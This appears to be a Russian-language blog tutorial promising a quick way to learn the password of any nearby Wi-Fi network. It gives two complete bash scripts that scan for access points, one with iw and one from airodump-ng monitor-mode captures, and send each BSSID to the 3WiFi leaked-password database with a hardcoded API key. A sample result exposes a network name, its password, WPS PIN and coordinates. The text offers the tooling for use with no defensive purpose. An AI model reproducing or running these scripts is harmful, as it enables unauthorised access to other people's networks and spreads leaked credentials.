Быстро узнаем пароль от Wi-Fi
Всем привет! Представим ситуацию: вам срочно нужен пароль от ближайшей WiFi сети, что будете делать? Если не знаете, то сегодня расскажу об этом.
Приятного прочтения!
Если вы используете Linux с любой Wi-Fi картой, то этот способ идеально вам подойдет.
Инструкция
- Создаём файл 3wifi.sh:
gedit 3wifi.sh
- И копируем в него:
#!/bin/bash IFACE='wlan0' SCAN_ATTEMPTS=4 API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' TMP_FILE='/tmp/scan_results.txt' rm $TMP_FILE 2>/dev/null for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); do echo "Scan #: $i" FOUND="$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )" echo "$FOUND" >> /tmp/scan_results.txt echo 'Found APs: ' `echo "$FOUND" | wc -l` done UNIQUE="$( cat $TMP_FILE | sort | uniq )" echo '===================' echo "Unique APs: "`echo "$UNIQUE" | wc -l` echo "$UNIQUE" | while read -r line ; do echo "Trying $line..."; echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]'; sleep 15; done
- Перед запуском скрипта, следует указать имя нашего беспроводного интерфейса. Узнать его можно с помощью команды:
iw dev
- Вписываем его в строку ниже (вместо wlan0):
IFACE='wlan0'
- Другие настройки — количество сканирований:
SCAN_ATTEMPTS=4
По умолчанию указано 4, однако вы можете выбрать другое значение. Чем больше число сканирований, тем меньше вероятность пропустить беспроводные сети — особенно в том случае, когда вы перемещаете беспроводную карту в пределах комнаты.
- Настройка API ключа сервиса 3WiFi:
API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'
Теперь запускаем наш скрипт командой:
sudo bash 3wifi.sh
Вы увидите примерно следующее:
Если после строки, которая начинается с Trying … ничего не выводится, значит проверяемая точка доступа отсутствует в базе данных 3WiFi.
Если же точка доступа будет найдена, выведется подобная информация:
{"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562}
Где essid — это имя точки доступа, а key — пароль от неё. То есть в предыдущей строке сказано, что для точки доступа BURAPA, паролем для подключения к Wi-Fi является 0840446924.
Если возникла ошибка вида:
{"result":false,"error":"cooldown","time":0.0015487670898438}
Это значит, что предыдущая точка доступа не была проверена, но вы можете перезапустить сканирование, либо вручную проверить пропущенные точки доступа на сайте 3WiFi.
Второй запуск:
Бонус
Давайте рассмотрим ещё один вариант, когда когда Wi-Fi карта одна, но она поддерживает режим монитора. В таком случае можно просканировать сети с помощью airodump-ng.
Во время сканирования беспроводной адаптер должен быть в режиме монитора, и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, после проверки, можно сохранить в файл.
После окончания сканирования, можно подключиться к интернету, и выполнить проверку по онлайн базе данных.
- Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):
sudo ip link set ИНТЕРФЕЙС down sudo iw ИНТЕРФЕЙС set monitor control sudo ip link set ИНТЕРФЕЙС up
- И запускаем airodump-ng (укажите ваше имя интерфейса вместо ИНТЕРФЕЙС):
sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС
- Теперь создаем файл 3wifi-file.sh:
gedit 3wifi-file.sh
- И копируем в него скрипт:
#!/bin/bash API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' FILE='/tmp/3wifi-01.csv' while read -r line ; do BSSID=`echo $line | awk '{print $1}' | sed 's/,//'` ESSID=`echo $line | awk -F"," '{print $14}' | sed 's/ //'` echo "Trying $BSSID $ESSID" echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]' sleep 15 done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)
- Когда у вас будет доступ к интернету, запустите его командой:
bash 3wifi-file.sh
Теперь остается дождаться окончания работы скрипта
Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые). Сделать это можно командой
sudo rm /tmp/3wifi*
Все!